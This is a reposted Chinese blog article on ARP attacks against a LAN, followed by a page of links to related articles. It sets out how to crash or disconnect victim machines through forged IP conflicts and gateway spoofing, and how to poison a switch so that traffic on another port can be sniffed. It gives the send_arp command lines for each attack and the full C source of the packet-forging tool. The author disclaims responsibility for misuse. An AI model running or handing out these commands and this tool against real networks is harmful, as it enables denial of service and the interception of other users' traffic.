(转载)玩转ARP

如何检测ARP病毒,arp病毒怎么解决? 原创 | 浏览:6412 | 更新:2018-12-07 06:19 1 2 3 4 5 6 7 分步阅读 严格来说ARP病毒并不是病毒,是一种利用arp协议漏洞进行传播病毒的总称,目前在局域网中较为常见,可以监听局域网中未加密的信息,而目前企业局域网数据加密传输的非常少,因此arp病毒的危害是十分巨大的,那么日常... 阅读详情

我写这片文章只是想让你明白深刻理解某一协议的好处。
高手免看。
如果有人利用这片文章所做的一切事情,盖不负责。

网上关于ARP的资料已经很多了,就不用我都说了。
用某一位高手的话来说,“我们能做的事情很多,唯一受
限制的是我们的创造力和想象力”。

ARP也是如此。

以下讨论的机子有
一个要攻击的机子:10.5.4.178              
硬件地址:52:54:4C:98:EE:2F
我的机子:10.5.3.69 
硬件地址:52:54:4C:98:ED:C5
网关: 10.5.0.3   
硬件地址:00:90:26:3D:0C:F3
一台交换机另一端口的机子:10.5.3.3
硬件地址:52:54:4C:98:ED:F7
  
一:用ARP破WINDOWS的屏保
原理:利用IP冲突的级别比屏保高,当有冲突时,就会
跳出屏保。
关键:ARP包的数量适当。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 /
    10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP导致IP冲突,死机
原理:WINDOWS 9X,NT4在处理IP冲突时,处理不过来,导致死机。
注:  对WINDOWS 2K,LINUX相当于flooding,只是比一般的FLOODING
      有效的多.对LINUX,明显系统被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 /
    10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。
原理:用ARP应答包去刷新对应着要使之出不去的机子。
[root@sztcww tools]# ./send_arp  10.5.4.178 52:54:4C:98:EE:22 /
    10.5.4.178 00:90:26:3D:0C:F3 1
注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP
高速缓存会被被攻击的机子正确刷新,于是只要...

四:用ARP欺骗交换机,可监听到交换机另一端的机子。
可能需要修改一下send_arp.c,构造如下的数据包。
ethhdr
 srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
 arphdr
 hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
 s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
 d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表
所以你可以先来个ARP 欺骗,然后就可以监听了
不过需要指出,欺骗以后,同一个MAC地址就有两个端口号
yuange说,“这样其实就是一个竞争问题。”
好象ARP 以后,对整个网络会有点影响,不过我不敢确定
既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。
对被监听者会有影响,因为他掉了一部分数据。

当然还有其他一些应用,需要其他技术的配合。
以下是send_arp.c的源程序

/*
This program sends out one ARP packet with source/target IP
 and Ethernet hardware addresses suuplied by the user. It 
compiles and works on Linux and will probably work on any 
Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu 
*/ 
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6 
#define IP_ADDR_LEN 4 
#define ARP_FRAME_TYPE 0x0806 
#define ETHER_HW_TYPE 1 
#define IP_PROTO_TYPE 0x0800 
#define OP_ARP_REQUEST 2 
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0" 
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
   usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}; 
struct arp_packet 
{ 
u_char targ_hw_addr[ETH_HW_ADDR_LEN]; 
u_char src_hw_addr[ETH_HW_ADDR_LEN]; 
u_short frame_type; 
u_short hw_type; 
u_short prot_type; 
u_char hw_addr_size; 
u_char prot_addr_size; 
u_short op; 
u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; 
u_char sndr_ip_addr[IP_ADDR_LEN]; 
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; 
u_char rcpt_ip_addr[IP_ADDR_LEN]; 
u_char padding[18]; 
}; 
void die (char *); 
void get_ip_addr (struct in_addr *, char *); 
void get_hw_addr (char *, char *); 
int main (int argc, char * argv[]) 
{ 
struct in_addr src_in_addr, targ_in_addr; 
struct arp_packet pkt; 
struct sockaddr sa; 
int sock; 
int j,number;
if (argc != 6) 
die(usage); 
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); 
if (sock < 0) 
{ 
perror("socket"); 
exit(1); 
} 
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE); 
pkt.hw_type = htons(ETHER_HW_TYPE); 
pkt.prot_type = htons(IP_PROTO_TYPE); 
pkt.hw_addr_size = ETH_HW_ADDR_LEN; 
pkt.prot_addr_size = IP_ADDR_LEN; 
pkt.op = htons(OP_ARP_QUEST); 
get_hw_addr(pkt.targ_hw_addr, argv[4]); 
get_hw_addr(pkt.rcpt_hw_addr, argv[4]); 
get_hw_addr(pkt.src_hw_addr, argv[2]); 
get_hw_addr(pkt.sndr_hw_addr, argv[2]); 
get_ip_addr(&src_in_addr, argv[1]); 
get_ip_addr(&targ_in_addr, argv[3]); 
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN); 
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN); 
bzero(pkt.padding,18); 
strcpy(sa.sa_data,DEFAULT_DEVICE); 
for (j=0;j<number;j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0) 
{ 
perror("sendto"); 
exit(1); 
}  
}
exit(0); 
} 
void die (char *str) 
{ 
fprintf(stderr,"%s/n",str); 
exit(1); 
} 
void get_ip_addr (struct in_addr *in_addr, char *str) 
{ 
struct hostent *hostp; 
in_addr->s_addr = inet_addr(str); 
if(in_addr->s_addr == -1)
{ 
if ((hostp = gethostbyname(str))) 
bcopy(hostp->h_addr, in_addr, hostp->h_length); 
else { 
fprintf(stderr, "send_arp: unknown host %s/n", str); 
exit(1); 
     } 
} 
} 
void get_hw_addr (char *buf, char *str) 
{ 
int i; 
char c, val; 
for(i = 0; i < ETH_HW_ADDR_LEN; i++) 
{ 
if (!(c = tolower(*str++))) 
die("Invalid hardware address"); 
if (isdigit(c)) 
val = c - '0'; 
else if (c >= 'a' && c <= 'f') 
val = c-'a'+10; 
     else 
die("Invalid hardware address"); 
*buf = val << 4; 
if (!(c = tolower(*str++))) 
die("Invalid hardware address"); 
if (isdigit(c)) 
val = c - '0'; 
else if (c >= 'a' && c <= 'f') 
val = c-'a'+10; 
     else 
die("Invalid hardware address"); 
*buf++ |= val; 
if (*str == ':') 
str++; 
} 
} 

海康工业相机触发模式详解:软触发 vs 外触发,在C#里如何选与用? 本文深入解析海康工业相机的软触发与外触发模式,详细比较两者的特性差异、适用场景及C#实现方法。通过海康SDK配置指南和实战代码示例,帮助开发者掌握工业相机触发模式的选择与优化技巧,提升自动化检测系统的精确性和可靠性。 阅读详情

相关推荐

智能化运维(AIOps)

• 调查显示,54.79%的企业当前着重关注智能运维的质量领域(包括异常检测、告警收敛、根因分析、 故障处置等)能力建设,其次45.77%的企业关注效率领域,45.49%的企业关注成本领域,30.82%的 企业关注安全领域。从目前的发展情况来看,现阶段AIOps能力大多集中在L2级别, 主要以系统辅助分析,帮助人工进行决策和操作为主,较为领先的 能力实践可以达到L3级别,而L4和L5级别随着AIOps的技术发展 和能力的逐步增强,将是未来智能运维能力建设的发展方向和目标。

追求更专业的设计 3097

ARP游戏,很好玩的,以前经常用师兄的WIN版本在网吧,害人~~呵呵

 我写这片文章只是想让你明白深刻理解某一协议的好处。 高手免看。 如果有人利用这片文章所做的一切事情,盖不负责。 网上关于ARP的资料已经很多了,就不用我都说了。 用某一位高手的话来说,“我们能做的事情很多,唯一受 限制的是我们的创造力和想象力”。 ARP也是如此。 以下讨论的机子有 一个要攻击的机子:10.5.4.178              

【GTA: Vice City】 1551

华为Atlas 300I推理卡驱动安装全攻略:从环境检查到常见问题解决

本文提供了华为Atlas 300I推理卡驱动安装的完整实战指南。从安装前的系统环境检查、内核版本匹配,到详细的二进制.run文件安装步骤、源码编译及高级定制化部署,涵盖了驱动安装的全流程。文章重点解析了安装过程中的关键决策、常见问题排查与解决方案,并针对生产环境的多卡配置、性能调优及安全加固给出了专业建议,旨在帮助用户高效、稳定地完成AI推理加速卡的部署。

swift5iosmith的博客 628

手把手教你玩转ARP包(一)【数据包的游戏系列之一】

前   言          首先要感谢网络安全资深专家卢湖川博士以及VC网络版的limin朋友提供的资料以及帮助^_^ 经常看到论坛有人问起关于数据包的截获、分析等问题,幸好本人也对此略有所知,所以就想写一系列的文章来详细深入的探讨关于数据包的知识,,我希望通过这一系列的文章,能使得关于数据包的知识得以普及,所以这系列的每一篇文章我都会有由浅入深的解释、详细的分析、以及编码步骤,另外附上带

Thinking -Walking@未名 897

AI自动打游戏全攻略:从环境搭建到Agent训练实战

本文系统介绍了AI自动打游戏的技术实现方案,重点解析了强化学习(DQN算法)在贪吃蛇游戏中的应用。文章从技术选型入手,对比了强化学习与计算机视觉两种方案,详细说明了开发环境配置步骤,并深入讲解了DQN模型构建、游戏环境封装、训练优化等核心环节。通过经验回放和目标网络等技术,有效提升了AI的学习效率和稳定性。该方案具有通用性,只需调整参数即可应用于其他简单游戏场景,为开发者实现游戏AI提供了完整的技术路径。

milk416666的博客 4124

YOLOv11改进策略【独家融合改进】| 模型轻量化二次改进:StarNet + FreqFusion,极限降参,适用专栏内所有轻量化模型

FreqFusion是一种旨在解决密集图像预测任务中特征融合问题。

Limiiiing的博客 2123

手把手教你玩转ARP包(完)【数据包的游戏系列之一】

作者:   优快云  VC/MFC 网络编程 PiggyXP  ^_^ 本篇目录:    四。ARP包的游戏      1 .   小伎俩      2.    ARP欺骗的实现      3.   基于ARP欺骗的监听原理  四.既然我们可以自己来填充数据包,那么来玩些ARP的“小游戏”欺骗就是易如

小猪的网络编程 2万+

LAMMPS实例教程—In文件详解

本博文主要介绍专栏 《LAMMPS实例教程—In文件详解》, 针对于 Lammps 可分析的物理过程进行讲解,提供 In 文件以及后处理方法,持续更新。 目前分为8个专题: 1)力学专题、2)传热专题、3)相变专题、4)界面专题、5)吸附专题、6)流动专题、7)物性专题以及8)基础理论专题。

Rockyoung 3万+

计算机网络篇之ARP包结构

若是ipv4, ARP协议的数据负载就是这个结构。ok, 简单胜于复杂, 就聊这么多。

https://github.com/cv70 1686

【RT-DETR多模态融合改进】| 自研 多模态大核选择模块:MM_LSK,适配多模态图像信息融合

本文记录的利用改进的多模态大核选择模块(MM-LSK)优化RT-DETR,构建可见光-红外双模态目标检测网络。在遥感等大尺寸图像的可见光-红外双模态小目标检测任务中,单模态检测易受光照、云雾、背景干扰等因素影响,且小目标外观信息匮乏,无法仅基于单模态外观实现较好的识别,因此需要融合双模态互补特性与广泛的跨模态上下文信息进行辅助。

Limiiiing的博客 381

《深入掌握MongoDB数据库》 - 专栏介绍和目录

本专栏系统讲解MongoDB从基础到高级的全栈知识,涵盖安装配置、核心操作、性能优化、安全运维等核心内容。基础部分包括CRUD操作、数据类型、查询语法等入门知识;进阶部分深入索引优化、聚合查询、事务处理等高级特性;核心原理解析存储引擎与数据格式;安全运维则聚焦访问控制、认证机制、审计日志等企业级实践。通过实战案例与最佳实践,帮助开发者全面掌握MongoDB在不同场景下的应用,适合各层次技术人员系统学习。

数据知道的博客 2993

ARP欺骗(转载)

ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。最早探讨ARP欺骗的文章是由Yuri Volobuev所写的《ARP与ICMP转向游戏》(ARP and ICMP

hq_buddhist的博客 415

OpenHarness代码解读

Harness 是包裹在大模型之外、为其赋予完整执行能力的全套基础设施。模型负责提供智能与推理,Harness 则为模型提供感知、行动、记忆、工具与安全约束,使其从语言模型变成可自主完成复杂任务的实用智能体。我这里把向量数据库方案定义为:把对话片段、事件、偏好、工具结果等切成 memory chunks,做 embedding,存进向量库,查询时靠 ANN 相似度召回,再交给 LLM 读。AAAI 的综述类论文就明确指出,很多 LLM agent 的长期记忆就是这么做的。AAAI 期刊把文件系统方案。

qq_52053775的博客 187

转载 TCP/IP OSI各层协议,ARP属于哪一层的协议

在OSI模型中ARP协议属于链路层;而在TCP/IP模型中,ARP协议属于网络层。 1)ARP分层的位置是TCP/IP的网络层 2)ARP报文是由以太网帧进行封装传输的。没有封装进IP包。 3)实际上,对网络接口层的以太网帧来讲,它们同样是帧的上层协议,当收到以太帧时,根据帧的协议字段判断是送到ARP还是IP。 4)之所以不把它放在数据链路层,是因为它并不具备数据链路层的功能,它的...

weixin_34279246的博客 2267

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

【交换安全】DAI - Dynamic ARP Inspection 详解/arp欺骗/gratuitous arp

写在开篇:最近在测试DAI相关的内容,公司文档一如既往的简陋,新人看完保准一脸懵逼,搜了很多文章,个人觉得下面的这篇是写的最详细,最完整,也最容易理解,很值得学习,点赞。原文链接在文末,防止丢失,特转载一份留存待日后翻阅 一、ARP协议原理 1.协议概述 Address Resolution Protocol 在以太网环境中,节点之间互相通信,需知晓对方的MAC地址 在现实环境中,一般采用IP地址标示通信的对象,而ARP的功能就是将IP“解析”到对应的MAC地址。 2...

weixin_39068791的博客 2292

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

转载 ARP/RARP

版权声明:欢迎转载,请注明出处。 https://blog.youkuaiyun.com/jxch____/article/details/78875873 不管网络层使用的是什么协议,在实际网络的链路上传送数据帧时,最终还是必须使用硬件地址。 每一个主机都设有一个 ARP 高速缓存(ARP cache),里面有所在的局域网上的各主机和路由器的 IP 地址到硬件地址的映射表。 当主机 A 欲向本局域网上的某...

weixin_33940102的博客 141

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

手把手教你玩转ARP包^_^(1)

前       言                 很多人都不会到文档中心去看文章,为了造福所有朋友我想我还是在这里发一份吧^_^               首先要感谢网络安全资深专家卢湖川博士以及VC网络版的limin朋友提供的资料以及帮助^_^               经常看到论坛有人问起关于数据包的截获、分析等问题,幸好本人也对此略有所知,所以就想写一系列的文章来详细深入的

guoduhua的专栏 744

手把手教你玩转ARP包

前   言          首先要感谢网络安全资深专家卢湖川博士以及VC网络版的limin朋友提供的资料以及帮助^_^经常看到论坛有人问起关于数据包的截获、分析等问题,幸好本人也对此略有所知,所以就想写一系列的文章来详细深入的探讨关于数据包的知识,,我希望通过这一系列的文章,能使得关于数据包的知识得以普及,所以这系列的每一篇文章我都会有由浅入深的解释、详细的分析、以及编码步骤,另外附上带

江湖·郎中·路 2339

ARP协议的缺陷及ARP欺骗的防范-ARP原理

转载自:http://www.cnpaf.net/Class/arp/201111/26000.html 一、ARP协议工作原理 在TCP/IP协议中,每一个网络结点是用IP地址标识的,IP地址是一个逻辑地址。而在以太网中数据包是靠48位MAC地址(物理地址)寻址的。因此,必须建立IP地址与MAC地址之间的对应(映射)关系,ARP协议就是为完成这个工作而设计的。 TCP/IP

梦落红尘 4200

ARP家族--ARP,代理ARP,Gratuitous ARP

ARP背景:     当思考主机A和主机B互相通信,人们更关注的是域名或者IP地址,但是在内核层面,机器更关注的链路层地址(MAC地址),而不关注上层的应用。主机之间如何获取MAC地址,那么就引入了ARP的概念作用:ARP为IP地址到MAC地址对应提供动态映射 帧格式: wireshark视图: 总结:     可以看出,ARP协议是工作在二层之上,但是并没有经过IP报...

199

【数据包的游戏系列之一】手把手教你玩转ARP包^_^

前   言      很多人都不会到文档中心去看文章,为了造福所有朋友我想我还是在这里发一份吧^_^     首先要感谢网络安全资深专家卢湖川博士以及VC网络版的limin朋友提供的资料以及帮助^_^     经常看到论坛有人问起关于数据包的截获、分析等问题,幸好本人也对此略有所知,所以就想写一系列的文章来详细深入的探讨关于数据包的知识,,我希望通过这一系列的文章,能使得关于数据包的知识得以普及,

watano 1362

ARP的含义及作用

转载:什么是ARP,它有什么作用_u014379540的博客-优快云博客_arp的作用 ARP协议 Address Resolution Protocol 地址解析协议 在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的。在以太网中,一个主机要和另一个主机进行直接通信,必须 要知道目标主机的MAC地址。但这个目标MAC地址是如何获得的呢?它就是通过地址解析协议获得的。所谓“地址解析”就是主机在发送帧 之前将目标主机的IP地址转换成目标...

modi000的博客 5273

arp broadcast enable

arp broadcast enable命令用来使能终结子接口的ARP广播功能。 undo arp broadcast enable命令用来取消终结子接口的ARP广播功能。 缺省情况下,终结子接口没有使能ARP广播功能。 只有配置了mode user-termination命令和control-vid命令后,才能在对应的子接口上配置arp broadcast enabl...

weixin_34097242的博客 1万+

ARP欺骗与泛洪

常见的ARP攻击主要有两种,一种是ARP欺骗,攻击者通过发送伪造的ARP报文,恶意修改网关或网络内其他主机的ARP表项,造成用户或网络的报文转发异常。另一种是ARP泛洪攻击,也叫拒绝服务攻击(Denial of Service),攻击者向设备发送大量目的IP地址无法解析的伪造ARP请求报文或免费报文,造成设备上的ARP表项溢出,无法缓存正常用户的ARP表...

weixin_33935505的博客 6080

ARP欺骗 ---网络执法官(转载)

body { font-family: 微软雅黑,"Microsoft YaHei", Georgia,Helvetica,Arial,sans-serif,宋体, PMingLiU,serif; font-size: 10.5pt; line-height: 1.5; } html, body { } h1 { ...

bad0126的博客 312
上一篇: 对于HOOK函数的一点认识
下一篇: IP基础--ARP协定
csdboy
博客等级 码龄25年 0粉丝 19原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值